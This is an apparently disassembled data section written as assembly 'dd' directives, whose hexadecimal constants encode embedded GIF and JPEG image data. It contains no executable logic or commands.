dd 81E021Eh, 3B00h, 0
dd 38464947h, 2926139h, 0AE30050h, 0F2ECE100h, 0E8F5F0E8h
dd 0F5EFF5F1h, 0FBF9F6F8h, 0F8FCFAF8h, 0FDFCFCFBh, 0FEFEFDFEh
dd 0FFFEFEFEh, 4 dup(0FFFFFFFFh), 4F921FFh, 0F000A01h
dd 2C00h, 2920000h, 4000050h, 7C9F0FEh, 0EB38BDAAh, 60FFBBCDh
dd 69648E28h, 0AEAA689Eh, 70BEEB6Ch, 6D74CF2Ch, 804D39Fh
dd 0C0FCA1C4h, 2C4870A0h, 0A4C88F1Ah, 3A6CC972h, 74A8D09Fh
dd 0AF5AAD4Ah, 0CB76ACD8h, 0E0BF7AEDh, 2081E6h, 0B4E106E8h
dd 0BB6ECD7Ah, 7CB8F0DFh, 89DBAF4Eh, 7043F303h, 80FFFBEFh
dd 84838281h, 16A8685h, 8C870614h, 908F8E8Dh, 85939291h
dd 94081505h, 9C9B9A99h, 839F9E9Dh, 0A4A01508h, 0A8A7A6A5h
dd 0AAA3A6A9h, 0B0AFAEADh, 0AC5DB2B1h, 0B8B7B6B3h, 0B5A5BAB9h
dd 0C0BFBEBBh, 0BD70C2C1h, 0C8C7C6C3h, 0C544CAC9h, 0D0CFCECBh
dd 0D2CDAAD1h, 0D8D7D6D5h, 0DCD9D485h, 5FDFDEDDh, 0E4E3E0DBh
dd 0E245E6E5h, 0ECEBEAE7h, 0F0EDE9D5h, 0EFBEF2F1h, 0F8F7F6F3h
dd 0FCF9F5A7h, 0FB8FFEFDh, 481C09FEh, 82C04EB0h, 0A42A1308h
dd 0C3A16005h, 1CB71087h, 62B1488Ch, 331689C5h, 71882C6Ah
dd 0FE8FC7A3h, 1C823AF7h, 0C89CF249h, 66532892h, 0A5B2A93Bh
dd 5F2C65CBh, 2BF99CCAh, 389BCD26h, 0C9CCD963h, 86AF27B3h
dd 0B50A833Eh, 0D1A873B5h, 228A87A3h, 8FB4CA5Dh, 0A350A6D2h
dd 0B52A79BAh, 578655AAh, 43B56AB3h, 0AFD7AB75h, 1D82BA4Ah
dd 0D888164Bh, 9EBD68B2h, 0EAD6CB4Dh, 9B70B6DAh, 0D74B8DBEh
dd 78BADCE8h, 0CBCDDE7Bh, 0BEDEE697h, 0DFE5B80h, 0E0E4984Ch
dd 1E3788C2h, 0E298CC4Eh, 1790C6E2h, 994C8E3Eh, 98CAE4E0h
dd 0CCCE5DFBh, 0CEE6DED9h, 0E7DDBA0h, 0E8DCDA4Dh, 9DBFA8D2h
dd 0DB1ACD4Eh, 0A3B0D6EAh, 5B4D8EBDh, 0B8DAECD9h, 0CDCEDD87h
dd 0DED01E9Bh, 0EFF35C0h, 0F0F3DC4Eh, 1F45C8E2h, 0F4DCCE4Fh
dd 55D0E6F2h, 0DD4E8F3Fh, 0D8EAF4F5h, 0CECF5F65h, 0EEF6F6DDh
dd 0F7F75E0h, 0F977DE4Fh, 0A376C7F3h, 3D477F5Fh, 2E72F7FBh
dd 2B3F9FC1h, 0F4458541h, 0B4B2BBF3h, 54FFBF47h, 802A5089h
dd 7E047FC6h, 3C0E8792h, 82E050F8h, 46518C91h, 20DC120Eh
dd 561484E1h, 1885E168h, 86E1A866h, 0E1E8761Ch, 10E41887h
dd 3B0001h, 0
dd 0E0FFD8FFh, 464A1000h, 1004649h, 48000101h, 4800h, 4300DBFFh
dd 1010100h, 0Fh dup(1010101h), 0DBFF01h, 1010143h, 0Fh dup(1010101h)
dd 0C0FF0101h, 81100h, 32F002Dh, 2002201h, 11030111h, 0C4FF01h
dd 100001Fh, 1010105h, 10101h, 0
dd 1000000h, 5040302h, 9080706h, 0C4FF0B0Ah, 10B500h, 3030102h
dd 5030402h, 40405h, 17D0100h, 4000302h, 21120511h, 13064131h
dd 22076151h, 81321471h, 2308A191h, 15C1B142h, 24F0D152h
dd 82726233h, 17160A09h, 251A1918h, 29282726h, 3635342Ah
dd 3A393837h, 46454443h, 4A494847h, 56555453h, 5A595857h
dd 66656463h, 6A696867h, 76757473h, 7A797877h, 86858483h
dd 8A898887h, 95949392h, 99989796h, 0A4A3A29Ah, 0A8A7A6A5h
dd 0B3B2AAA9h, 0B7B6B5B4h, 0C2BAB9B8h, 0C6C5C4C3h, 0CAC9C8C7h
dd 0D5D4D3D2h, 0D9D8D7D6h, 0E3E2E1DAh, 0E7E6E5E4h, 0F1EAE9E8h
dd 0F5F4F3F2h, 0F9F8F7F6h, 0C4FFFAh, 300011Fh, 2 dup(1010101h)
dd 1, 1000000h, 5040302h, 9080706h, 0C4FF0B0Ah, 11B500h
dd 4020102h, 7040304h, 40405h, 770201h, 11030201h, 31210504h
dd 51411206h, 13716107h, 8813222h, 0A1914214h, 2309C1B1h
dd 15F05233h, 0AD17262h, 0E1342416h, 1817F125h, 27261A19h
dd 352A2928h, 39383736h, 4544433Ah, 49484746h, 5554534Ah
dd 59585756h, 6564635Ah, 69686766h, 7574736Ah, 79787776h
dd 8483827Ah, 88878685h, 93928A89h, 97969594h, 0A29A9998h
dd 0A6A5A4A3h, 0AAA9A8A7h, 0B5B4B3B2h, 0B9B8B7B6h, 0C4C3C2BAh
dd 0C8C7C6C5h, 0D3D2CAC9h, 0D7D6D5D4h, 0E2DAD9D8h, 0E6E5E4E3h
dd 0EAE9E8E7h, 0F5F4F3F2h, 0F9F8F7F6h, 0DAFFFAh, 1030Ch
dd 11031102h, 0FE003F00h, 0FEC22BFEh, 0FFD0FE24h, 1BBE0D00h
dd 0ADED66Bh, 0B5ECD6BDh, 0FA77884Fh, 879DFA7Ch, 6D6FEC81h
dd 10365697h, 0FE3DB246h, 9ACCCEA4h, 49C7965Dh, 6A934A50h
dd 7BC27657h, 0D44C339Dh, 68BBB421h, 0BDBCF38h, 0FDB589F6h
dd 0EA0D3E9Bh, 0F2B730DEh, 0AC613C2Eh, 0E0393C4Ch, 24603A4Dh
dd 7941FC49h, 429DD204h, 0BAAF1DE6h, 86B245C3h, 0CC9F51E3h
dd 5DDCB34Fh, 0CDA56347h, 0C5A92D2Ch, 3C71FE20h, 0EFFEF02Dh
dd 0E29F2EE2h, 0F667DA9Fh, 8A37F186h, 8FEBC38Fh, 4E9AEA11h
dd 6BA56D9Bh, 3FBE6913h, 0BF1F7F8h, 426F1D6Bh, 92B035D2h
dd 0E177785Ch, 7C8700FFh, 0D778B0CFh, 0B19096C5h, 197C4833h
dd 5483E5E1h, 3F69DC33h, 0E29F7887h, 338627AEh, 0C32D3C2Ah
dd 8C383054h, 0A636FBF7h, 99669F7Dh, 0C951699Dh, 0E8864BF8h
dd 67AE42CDh, 0AB14CE98h, 0CE9A784Ah, 23E1C0F0h, 0D549B54Ah
dd 0B8B00495h, 1EACB8BAh, 3CF21713h, 3275C443h, 0B0CBF0FAh
dd 673CA310h, 193396B0h, 0C34DC488h, 20E0960Bh, 76452CEDh
dd 4FEA26A3h, 8C924A55h, 95E0E4E4h, 4AA9B23Ah, 5FD64F95h
dd 55F07F88h, 2BE874Fh, 0BB346ED6h, 7C1700FFh, 0A4D85B35h
dd 0D240DF78h, 0E3513C6Ch, 44CA4E6Dh, 0DE0DAD7Dh, 46EDE1A3h
dd 1F2A430Bh, 1B5BD295h, 5A028319h, 0E5203F04h, 0FF33FCh
dd 0BFF06705h, 3468B58Bh, 7FC413DDh, 4CDB450Ch, 776D348Ah
dd 857FF143h, 0EDF01BF5h, 2FED2DB5h, 0DE7ABD35h, 6CA719D2h
dd 0BE206EA4h, 5BEE5891h, 0DBF28839h, 0FC021FE3h, 74EDD370h
dd 0FF2D48h, 0B7D9AF66h, 0E1736FC4h, 0F14B83F4h, 8A31FC33h
dd 79E870Fh, 74ADAEF0h, 0A24513F7h, 1300FF6Bh, 612CEFEEh
dd 73B71EF1h, 0A4CDBD0Ah, 0B5D62D9Eh, 62CF13DFh, 5EDDF6A9h
dd 0DB2468EAh, 32F177BFh, 0CDBAC7D3h, 0FF808Fh, 8200FF68h
dd 0AC8FCE9Ah, 0E2C69AF8h, 0FED042EBh, 0E3896936h, 0BAC6074Dh
dd 0D4A1AB65h, 0F177F864h, 9825AE0Dh, 0D188D85Dh, 79F8BFE6h
dd 6B0E5FE2h, 0DB368CD6h, 738F4EEBh, 95E1376Fh, 4AE340BCh
dd 0CC796AB8h, 0F08CC378h, 4B6545F9h, 8F200E13h, 3064CD06h
dd 4AA3E455h, 1157A3A4h, 0AB0C2CCBh, 43D1BE7Bh, 0BDE38DAh
dd 0C2D3752Ah, 0EF2C1B1Fh, 0E2389536h, 439B69D6h, 0C7592E0Bh
dd 0F597B21Ch, 8CD2CE25h, 3A4B959Ah, 5CCE4E2Eh, 61D156AAh
dd 7600FFB9h, 1D7CE77Eh, 137CA4FDh, 0D1E26DF1h, 0F80C1FD4h
dd 0AD3CC5D0h, 0E9427DE1h, 76EC452Eh, 6D9A66E8h, 0DA105403h
dd 1D45AC47h, 20896BB8h, 563F4D7Bh, 2EAE088Ah, 0B2A3D266h
dd 0D037DD84h, 6AD5FCD5h, 0FED4089Eh, 2BF8DD04h, 890FF05Bh
dd 7CAC4BBCh, 0A5A6F116h, 0F3F06375h, 46B5D454h, 0C1CFF1BCh
dd 1C7E899Fh, 0BA203EB5h, 0F8AD53F8h, 7DA2288Eh, 56E9DC52h
dd 85DFE2AFh, 0B6B826DEh, 0D1BCBFB4h, 0FB5B246Ch, 0DD5BD010h
dd 9FBCDFEAh, 64C5AFB3h, 0A7F0C5F8h, 9D2CBEC3h, 85DDFEA2h
dd 55FCD066h, 63883114h, 0EFE8114Fh, 98FB5BF6h, 0EC9FD52Dh
dd 88BA3AD6h, 0DD2EDD35h, 498BE49Dh, 53562CD5h, 0F7036EE6h
dd 47BC0BAFh, 1F87F8CCh, 1687F098h, 0E253C153h, 0C22EAF9Ch
dd 0C33C7867h, 5596922Dh, 8F351CC5h, 9F094BF6h, 9424AD65h
dd 8E87AF1Bh, 0E9344621h, 726962F3h, 58D5C3D1h, 0ED17269Ch
dd 0C43D7738h, 0CA57AB63h, 59D128F3h, 2C851E8Eh, 77F82A5Dh
dd 9763367Ch, 58F6E5D6h, 5EDA3EDCh, 8CB25370h, 8C16526Fh
dd 5229ED27h, 0FF6FFCh, 0AF78B682h, 313ED45Dh, 0EFC00F78h
dd 0F8A20B24h, 0DEB4E167h, 0CB60D22Ch, 0C4535DE6h, 6BB1C69Ah
dd 7276C9A8h, 83A7A310h, 5063C8F4h, 0E44863ACh, 75676075h
dd 0F4F62BAEh, 8487A5F0h, 37F071BCh, 0FDF06FF6h, 85277AF4h
dd 1E7C1B3Eh, 618196F0h, 9327D17Ah, 8F78AA63h, 352DD654h
dd 42DF18EFh, 0DD3DA9AAh, 0A665F6E7h, 0C04AADBDh, 6B757FCBh
dd 8F347175h, 0FA32C335h, 0C315FC2Fh, 5F5A17C3h, 0FE84BFC5h
dd 0B4D9783Ah, 137813EFh, 52C4F050h, 0F85F88F4h, 0D5B95E33h
dd 90656C6Eh, 0ED2DCB2Fh, 9A238D8Fh, 0E5DB22D6h, 0E4D44F8Bh
dd 0E56D5D8Dh, 0EDEFF931h, 0FBAD0E53h, 0F823FC49h, 0F85CFB67h
dd 3EF12611h, 5AFE0A3h, 0FD387C58h, 0A43B7CA2h, 43FC6EC6h
dd 0EDF2BE1h, 0A61AEADCh, 0ECDFE397h, 0E4F365ABh, 1AF7FCF0h
dd 0AD73BFBEh, 0BD7314CDh, 68A89196h, 1A36A797h, 0B46E8827h
dd 3D4EE7DFh, 7C3163C3h, 45FEE349h, 0CB4C2D2Ch, 0DE383189h
dd 66CE201h, 9DA45257h, 0DCE0216Eh, 1B1FA686h, 7F996598h
dd 3C9DE72Ah, 6A781E16h, 53D8CF8h, 8621952Ah, 953A2D97h
dd 0C3B77370h, 0D4EA3467h, 0DA6F1C7h, 0F5F175D3h, 85B9642Bh
dd 0DCA43C1Ch, 0E5EB9B1h, 0F5FAB50h, 52EDCA46h, 0A4CEE9A6h
dd 0A0A49C20h, 49A58CD2h, 5ED97DAh, 93EB8E3h, 0F8B76A7Ch
dd 619BE025h, 0F831FCA2h, 0FE69A625h, 1DFCD010h, 34DB126Dh
dd 0A6AD46DAh, 0ABCE7A69h, 0C88EB9E2h, 4D7CD5E4h, 57D76AAFh
dd 8ACF3A57h, 0BFD6759Fh, 1EEFE9A9h, 0C0D23CA5h, 0C3573DECh
dd 0BE83EF1Ah, 0FD1AFC2Eh, 79297CA5h, 69B30673h, 7FC3F7F0h
dd 78263E0Ch, 1285583Bh, 0BFC2DFE2h, 0EFF5EE19h, 2B785A12h
dd 118057ECh, 123FE261h, 0A08BA6B5h, 0A5288A78h, 0C3E7EE8Eh
dd 0D4482337h, 737756CCh, 1EC33745h, 0F0FBF826h, 85C6E3EFh
dd 3CBE68E1h, 0FED1397Ch, 0FFE6B26h, 3D7CADD1h, 0F0477CA0h
dd 0AFB58CBFh, 1F10BF87h, 59A2B6C3h, 134FF46Ch, 975C7AEAh
dd 0B1251EF6h, 79E29EB7h, 0D05797ADh, 96B35097h, 6D7BFEEEh
dd 0FB8B1B42h, 0C39BB9D7h, 96E31DDFh, 13F845D7h, 8DE17FF0h
dd 7F9DB6A5h, 0E075CBA9h, 0C5F85CFh, 6BACA3C6h, 0BDF128DEh
dd 0F5CD22DCh, 3A6B17DFh, 0EBAAA7AEh, 5FD6201Eh, 0BCB2654Ch
dd 0A9BB2EF1h, 0EDE19FAEh, 0D345D60Ah, 4B0BFD74h, 8F7FF56Bh
dd 0FA7F1C3h, 1EE235BEh, 0BC73CA2Dh
dd 71AA89C3h, 0C031073Eh, 0AC1CDEE4h, 0AD593983h, 94755E2Ch
dd 438E9E3Ch, 1A9ED59Ah, 72C92239h, 0A78B52C7h, 0E3C72D4Bh
dd 1C1852E5h, 29E1C22Ah, 0F2D3CDC9h, 2FB8E6A9h, 67766CEDh
dd 0CC57C585h, 0AF519825h, 2C910B47h, 63622916h, 0FA861757h
dd 897830ACh, 0FDC19A4Ah, 17E50E53h, 0D6EBE118h, 0A8A95472h
dd 5FBB8B53h, 0F6F6E874h, 98FD239Eh, 0C86800FFh, 7B00FF6Eh
dd 0C75FF8A7h, 0BC0100FFh, 0E8CAA243h, 0B5F85818h, 59A475FCh
dd 236F4D5Ch, 0DF5DDD1Fh, 234D5678h, 165BF48h, 44BE49D3h
dd 0D63EC76Ch, 9FEFBFAh, 0D7257FA5h, 708AAFC3h, 6DC50B19h
dd 3063EF1h, 97E6F239h, 3781DFE1h, 7EAA8E47h, 0A7AC1DCFh
dd 951ECDD7h, 2FF1D7F9h, 27F8B658h, 0F84F67F0h, 3DE27D1Bh
dd 63F1562Fh, 0F8528F78h, 0F842FBB3h, 13BC4A9Bh, 1F2F7678h
dd 0E9B069DCh, 0D1053E76h, 172C37AFh, 6DF81FBEh, 0D2BFBE1h
dd 21E4F62Ah, 9AC4EF86h, 6F799B46h, 61ABAE35h, 7EB069AEh
dd 0C100FFA1h, 0AA07BC38h, 6FF64BF8h, 0AF4F3CD3h, 0DAE95C5Ah
dd 10CFC5CFh, 25137F6Ah, 30236FD3h, 0DA68D8DCh, 8F86BDA5h
dd 8527D8E0h, 0C95CF0B0h, 0C30F9DE0h, 0F2B697B7h, 0FEDE9685h
dd 1519EEEAh, 0D7AF085Dh, 5BA3227Ch, 43AEE211h, 0CA7E194h
dd 0F031BC4Ch, 0C5393C96h, 711A8ED9h, 128786ADh, 33C419E7h
dd 13ABC305h, 2196CE4Dh, 229E50E5h, 8E3A9D9Ch, 2C78F134h
dd 2AA11665h, 0F0D39736h, 233E25C4h, 0E3E061C1h, 0CF7F051h
dd 5E6706ACh, 0ACE9949Ch, 1A152B7Eh, 46AA02EBh, 93D59FF1h
dd 27E316A9h, 68955615h, 0F65838D9h, 0F697DABFh, 0EDEFF075h
dd 588FF03Bh, 5DAD6FF8h, 8E561B9Dh, 78100FE2h, 0C051C523h
dd 293C6E2Eh, 2B362DE3h, 58BDF488h, 0DD8CEF5Bh, 0D5054FD8h
dd 0E9AE8FE6h, 505F58E2h, 4E3D75D0h, 3B8B0BD2h, 6DEF6DA9h
dd 0E2519ABFh, 0F60FDA1Fh, 71B7F81Dh, 0EA13EBA1h, 7C0A00FFh
dd 54196D7Bh, 0EF6D8FBAh, 0A17D7C82h, 0D4947145h, 0EBBB7B74h
dd 533CD157h, 4597CBE1h, 0FF36B770h, 0AED26B00h, 0F6B7EC1Fh
dd 5B74EBAh, 0F5B79DC5h, 0C41F5CCBh, 0EDF855Fh, 76F82E7Eh
dd 4FFC096Fh, 7C8647F0h, 9FC9E177h, 89573ACDh, 5A3D8BF4h
dd 8D800BDEh, 1B59DE1Ah, 3E5D9EA8h, 107724FEh, 5B12166Ah
dd 98B8C15Eh, 0D79C8C67h, 0F828BEECh, 8778973Dh, 0B0CE2E57h
dd 8537AE59h, 8F24C7F8h, 99C4532Eh, 10719C63h, 0ACCA19A7h
dd 4A95D830h, 0A7B30AADh, 4AEAAC4Eh, 0A9555A85h, 0B54AC3D6h
dd 42DA4759h, 0AA2FA572h, 0A1171EE2h, 2E864A9Eh, 5FAE228Eh
dd 0B015619Ah, 6A3BFCD8h, 46B9296Ah, 42594E9Dh, 0A494314Eh
dd 33CE28E1h, 362BE5A6h, 0FFE2A4h, 7C10EF96h, 0F10FF861h
dd 41BCF102h, 17D9AFE3h, 0E2A1D6E0h, 0EAB2CD4Bh, 3582BF9Ah
dd 0E5F88AFh, 0E85AFD74h, 0A546FB96h, 2BF8A075h, 8D6E1AC6h
dd 0D1BDDBF6h, 40F1C4BDh, 0E771CFB2h, 0ED704B5Ch, 620E1270h
dd 0B79DF6FBh, 0A98906F0h, 0BC085FE8h, 0E0DFF01Fh, 5AAC9F16h
dd 0BF5B3F1Dh, 0DFA671F8h, 7E7DE347h, 6CAA52CAh, 0F81C4F75h
dd 3FF15887h, 91B4268Fh, 0DB58ABF6h, 0C6D68678h, 881BC640h
dd 9FF68926h, 0FE4F7DDCh, 13FB2509h, 5E92376Ah, 176FE047h
dd 2E5762E9h, 0C4677AD6h, 62431CCFh, 2CB6C532h, 3237EB33h
dd 16922024h, 51639914h, 15B8AA80h, 0FF08BFEEh, 0D95F6100h
dd 0FD95E057h, 3FE0B3B6h, 831ADE83h, 926E36C4h, 0C49BF8D9h
dd 97F15227h, 4267AC88h, 9A69DC0Ah, 0F52F8CBFh, 701EADDBh
dd 1DDD7C46h, 9CEDF6B4h, 3AF22B00h, 0CB78071Eh, 3E3CAF8Bh
dd 518EE26Dh, 0E657C082h, 0B2CC8AA5h, 850D972Ch, 1E562CE2h
dd 1AABE5A2h, 29178EF9h, 0D21A73CAh, 552807ADh, 45C5F9F6h
dd 0D35E4A51h, 0CC1F2DDAh, 0AA3884C7h, 4F0C47ADh, 5069E110h
dd 0BE52E39Dh, 780A0B0Fh, 939690EAh, 0D4FAF53h, 3527AF86h
dd 547C6E7Eh, 0B9F9AEB9h, 0D96FC88Fh, 0F822F607h, 6A41FB99h
dd 0FFF1181Eh, 7BDC700h, 0C16FF050h, 2D5B1E4Dh, 6EF04E57h
dd 872D6FBFh, 4F2D3E8Ah, 9B36E968h, 0AB348937h, 0BEE89380h
dd 86CB8703h, 62AF2C49h, 88C5E782h, 0A75604A9h, 0F337BA43h
dd 564500FFh, 0DBDAF0D6h, 8B6C6DC3h, 0B146101Ch, 0AA001A43h
dd 0A10AA0B1h, 81010040h, 0C71D00C6h, 49282C14h, 21013262h
dd 0D246F853h, 0C4524F46h, 729C9CE3h, 5373324Eh, 8737F4D7h
dd 0DF701EDEh, 320CB986h, 0BAC21B1Eh, 0E255A754h, 0CEDAF8B1h
dd 78E6C633h, 7846C5D9h, 0C6585DACh, 4AE5522Ah, 3142A914h
dd 509A42A3h, 0E5DC04A7h, 32C9B73Fh, 8341063Ch, 37052C58h
dd 953AB918h, 55A9CDAAh, 0CE6A55C4h, 5D5959A5h, 29C628D9h
dd 2829C228h, 0D9FFDBADh, 0
dd 38464947h, 3AC6139h, 0FFE70015h, 99643400h, 38A2672Eh
dd 6A309C67h, 0A56A329Fh, 439B6B3Ah, 6D379A69h, 0B06F2EA9h
dd 47A36C3Fh, 703D8C6Dh, 0AD713B99h, 439D7537h, 753FA272h
dd 0AF733E98h, 359E7542h, 7449B177h, 93744F98h, 458F7555h
dd 7748A178h, 0AD764AA8h, 3AA37B3Dh, 7A43B67Bh, 0BB7A3FAFh
dd 41AD7F39h, 7D48A77Eh, 0A07B50A0h, 40A57A52h, 7B54BF7Dh
dd 0C180369Ah, 40967B5Bh, 813FBB80h, 0B08047B6h, 47B1833Dh
dd 814BAC83h, 0C0863AB7h, 41BF8345h, 8058B486h, 0A78350ACh
dd 54B4844Bh, 825DB382h, 9C8261A2h, 57C4893Eh, 8945A485h
dd 0BE8949B7h, 52B88850h, 8B48BD87h, 0C5894BBAh, 62B38A4Fh
dd 895CA787h, 0AE8A57A8h, 5BAD8665h, 8868BB89h, 0BD8E4BA3h
dd 4EC49043h, 8E56C38Eh, 0B98F55BEh, 5DC79247h, 8F5CB98Eh
dd 0A78C6CB4h, 54BC9258h, 9552C993h, 0C9915EC4h, 5CB89360h
dd 955BC493h, 0C89A4CBFh, 56AE946Bh, 975DC798h, 0AE9373C1h
dd 5ABC9864h, 9B61CB9Bh, 0CB9A64C6h, 5BC09B67h, 997AC8A0h
dd 0C29D6AB5h, 75BD9E6Fh, 0A067B79Dh, 0C5A264CBh, 6FC5A06Dh
dd 9F75CB9Fh, 0BA9E7FC6h, 6ACFA561h, 9F84CEA3h, 0CAA669B6h
dd 74C9A471h, 0A379CFA3h, 0C4A37ECAh, 83C5A577h, 0A381BEA3h
dd 0CCA57BCCh, 6DC1A67Eh, 0A976CEAAh, 0D4A878CFh, 7BC9AB73h
dd 0A783C9A9h, 0CFA87EC9h, 6DC3A787h, 0AE71CBAEh, 0D2AA81D2h
dd 7ACCAE77h, 0AD7FD3ADh, 0C7AB8BCDh, 86CEAC88h, 0B17AC9AEh
dd 0D0B082D0h, 7DD1AF8Bh, 0AF98D2B4h, 0CDB483C0h, 95D3B385h
dd 0B38AC7B0h, 0CEB192CDh, 89C9B490h, 0B887D7B6h, 0D1B68ED1h
dd 95D7B982h, 0B990D2B5h, 0CEB79BD4h, 95CEBB8Eh, 0B994CEB9h
dd 0DDBC8FDBh, 0A1D1BF89h, 0BC93CAB9h, 0D7BA9AD7h, 98D1BA9Fh
dd 0BE92D2BCh, 0D8BF8DD2h, 9ACCBE96h, 0C094D3BDh, 0CFC098D4h
dd 97E0BE99h, 0BE9EDBC0h, 0CFBFA0DBh, 0A3D5C09Ch, 0BFA8D6BFh
dd 0D8C497D1h, 9AD8C29Eh, 0C1A1DEC3h, 0DFC0A9DEh, 0A1E1C59Dh
dd 0C4A4DBC5h, 0DBC4A8E1h, 0B0D5C4ACh, 0C7A3D0C4h, 0D7C7A7DDh
dd 0A5DDC6AAh, 0C9A9DFC9h, 0D9C7B0D9h, 0B4DFC8ACh, 0CAAED4C8h
dd 0E2CCA8E2h, 0B3DCCCACh, 0CEAADCCAh, 0E4CBB8E4h, 0AFDFCDB5h
dd 0CDB9DFCFh, 0E5CEB2D9h, 0BBE7D0B4h, 0D2AEE8CEh, 0E2D0B8E8h
dd 0BAE2D2B2h, 0D0C1E3D1h, 0E4D4B4E4h, 0B6E5D3BBh, 0D4C0E6D6h
dd 0E1D6BAE0h, 0B8E7D5BDh, 0D7BFE9D8h, 0E3D5C9E9h, 0BEE3D7C3h
dd 0D8C8E4DAh, 0E5D9C5DFh, 0C0E0D8CFh, 0DCC4E7DCh, 0E7DBC7E1h
dd 0C3E8DEC1h, 0DFC7E9DFh, 0EADCD0E4h, 0C4EADECAh, 0DFCFEBE0h
dd 0ECE0CCE6h, 0CDE6DED5h, 0E3CFEEE2h, 0EBE2DAF0h, 0D7EBE5D4h
dd 0E9D9EEE8h, 0F1E8DFF0h, 0E1F2EBDAh, 0ECDCF2EAh, 0F3EBE2F3h
dd 0DDF4ECE3h, 0EDE4F4EEh, 0F6EFDEF5h, 0E7F7EEE5h, 0FFFFF8F0h
dd 4F921FFh, 0FF000A01h, 2C00h, 3AC0000h, 8000015h, 0A5D300FEh
dd 60B04723h, 13088141h, 0B0C85C2Ah, 0EC86C3A1h, 0E88BA5D8h
dd 88BBA2AEh, 646A2D14h, 46230E77h, 82052075h, 0A4B2491Ch
dd 0CD2693C9h, 4E572B99h, 0EA97CBA5h, 295BA9DCh, 9BB79C4Eh
dd 2B8A6ADEh, 0CBA65207h, 0B2572973h, 0DCD2C9ACh, 5B2F97B9h
dd 0B3A72CB2h, 2D71D129h, 4A951DCFh, 0ABD5AAB5h, 1D2DCF58h
dd 0D79C7587h, 0E9FCFE71h, 0ACB64B1Bh, 0CAFBB259h, 56B7DBE6h
dd 65B4DA5Fh, 0CB5DC9F7h, 0BBDCAE96h, 95C2E371h, 5FAEF63Bh
dd 0E6E16EBFh, 0AFF66BEDh, 1388C3E1h, 0B8CC5E2Bh, 88C7E3B1h
dd 2B5DD1F3h, 0CBE5B219h, 964F3398h, 3EB399CCh, 8F2564CFh
dd 342F9CEDh, 0CFA5D168h, 0BA9B3EAAh, 0A4B56BB4h, 0DCFEAF53h
dd 0D8EDB47Ah, 867773B8h, 6F6FF76Dh, 7F73AEC7h, 0F63A3DA6h
dd 0F164D36Ch, 7CA7D3E1h, 0CFC972ACh, 47BBE1F3h, 0E574FABDh
dd 0BF4FB1D4h, 0F73B7DB7h, 0FEEDE0EAh, 9E37BBD9h, 0E879F57Ch
dd 37B3CFD3h, 0F7F8BAAFh, 67BFD7EAh, 3CDE9EAFh, 0E9E5F87Ah
dd 0BFAF0797h, 0FCF1FEFFh, 0ED7FE027h, 81606814h, 0A0A81CEBh
dd 9834E182h, 44CB8160h, 0D784CD78h, 41616844h, 0E0864E0h
dd 0E41A1B41h, 3E1F43A1h, 0EA88E224h, 42512430h, 0A2543127h
dd 84CCE939h, 8D2A8BD4h, 2E8C6314h, 8DD4B4BAh, 8EC39A38h
dd 84D94C3Ah, 993B4E13h, 3B399203h, 5212B515h, 14D4DA3Dh
dd 0E9154B8Eh, 154E8FD4h, 5494D599h, 57D2C556h, 0CE238E58h
dd 608FE57h, 1DD497DEh, 65731C97h, 99E6272Dh, 0A696C268h
dd 0B6CD826Ah, 58570DBh, 825E56E6h, 9C6729D5h, 9C568169h
dd 66EA7C6Eh, 0EA7D9EDBh, 83740F86h, 0A168374Ah, 19668DB8h
dd 15D68C65h, 359EA3E8h, 64A0D9F7h, 72A88A4Ah, 9DFA6298h
dd 0A766077h, 5E60A71Eh, 0D9A79DF7h, 75DD9A8Dh, 0AA977299h
dd 0AAB699AAh, 0B0FEAB9Dh, 741D2A62h, 0A6672689h, 19F1CB59h
dd 62AC76ABh, 0A7A9AA47h, 0AEE9AAA6h, 5D4AFEA0h, 17D29D79h
dd 29EA789Fh, 0CDB3DF1Bh, 7A4F27B2h, 9FB7E5F8h, 0D7E8F43Ch
dd 70F13C9Fh, 13C6DCBh, 7FA00B82h, 2E57FE01h, 0B8260A3Ch
dd 0B2ECBACEh, 0E883607Bh, 0BCCDC384h, 0EF637CDCh, 23860D37h
dd 0F2FC858Ch, 0FF3761ABh, 86F0286Ah, 30687B02h, 7C221939h
dd 0F06C2F0h, 2888D074h, 40D2E422h, 0E5418E6h, 0D4EE3739h
dd 71354114h, 4C93143Ch, 4E53A946h, 0CE54823Eh, 0C4E7288Fh
dd 923E3A93h, 3D8F649Ch, 94724CA6h, 939CD732h, 0A56A52CAh
dd 64E5C815h, 5B578E55h, 0D055FD02h, 96997343h, 6B1748B1h
dd 22C3A89Dh, 6BA7B4EDh, 6D1BCD46h, 0AB759E6Fh, 2681A6D4h
dd 5EBDAAECh, 0B4ABA867h, 0A66C4D7Eh, 0DF33E0F6h, 2DA768D9h
dd 8F65D99Eh, 0AD73298Dh, 0A6DCCDC2h, 376DBA9Ch, 7AF6BEAAh
dd 4AA7FEEAh, 786C8B1Fh, 37EE05E3h, 497DEFB2h, 83857978h
dd 84E01F39h, 78B89793h, 0F8EE42C6h, 0BDFDEEE1h, 0D74FA974h
dd 9C77A5FDh, 0D3F79A9Bh, 78E7BBA0h, 0C7C8F7E5h, 3AD0B42Ch
dd 0ACB5DEABh, 0EBFAEEB7h, 0FB2B81FAh, 8ED7B4ECh, 0E6EDECCEh
dd 0E83A2EBEh, 0EF6ECEECh, 0CE8EF3BEh, 4BDFC337h, 7CDDBD2Fh
dd 0DC376F33h, 836F635Ch, 0FD2F44C2h, 0D377D1F4h, 4FD8364Dh
dd 0DDF58D98h, 0C030036Ch, 7E2F8703h, 0C0FE3C0h, 321CF8FEh
dd 6C5F18Ch, 0C1106389h, 0A19388E0h, 638137FCh, 0DD35FDF3h
dd 38FDE40Ch, 8FF2D4F1h, 4B5200DAh, 23FA7F8h, 4180D01Ah
dd 84539913h, 0FD2DC0A6h, 0C9371C68h, 72BC3792h, 2EA1D2B4h
dd 165C163Dh, 41C6FCB3h, 72CE2DC8h, 85A4BA1h, 5D9DD741h
dd 9E6B8D75h, 0EEDE55F2h, 7D4EB766h, 53936F8Eh, 48670C9Bh
dd 4AFE1A43h, 1C1AC772h, 0C3A6CEE2h, 5A2DA61Ah, 0CEA2D1FEh
dd 0C3374C7Ah, 754EA60Bh, 0E9E24C46h, 26ACA3D0h, 1A74D12Eh
dd 0D90F968Ch, 0CE264323h, 94438AC7h, 474EE94Fh, 90662CC5h
dd 62EC5289h, 0ACF8C712h, 750B4E2Eh, 1AA34BB0h, 6FBB2763h
dd 0EF1DEECDh, 0E71C1700h, 0CA380F18h, 0A4758E2Eh, 98ED1E63h
dd 0E46878C7h, 0C8111E22h, 30E6203Ah, 7B8F990Fh, 0F350A3D6h
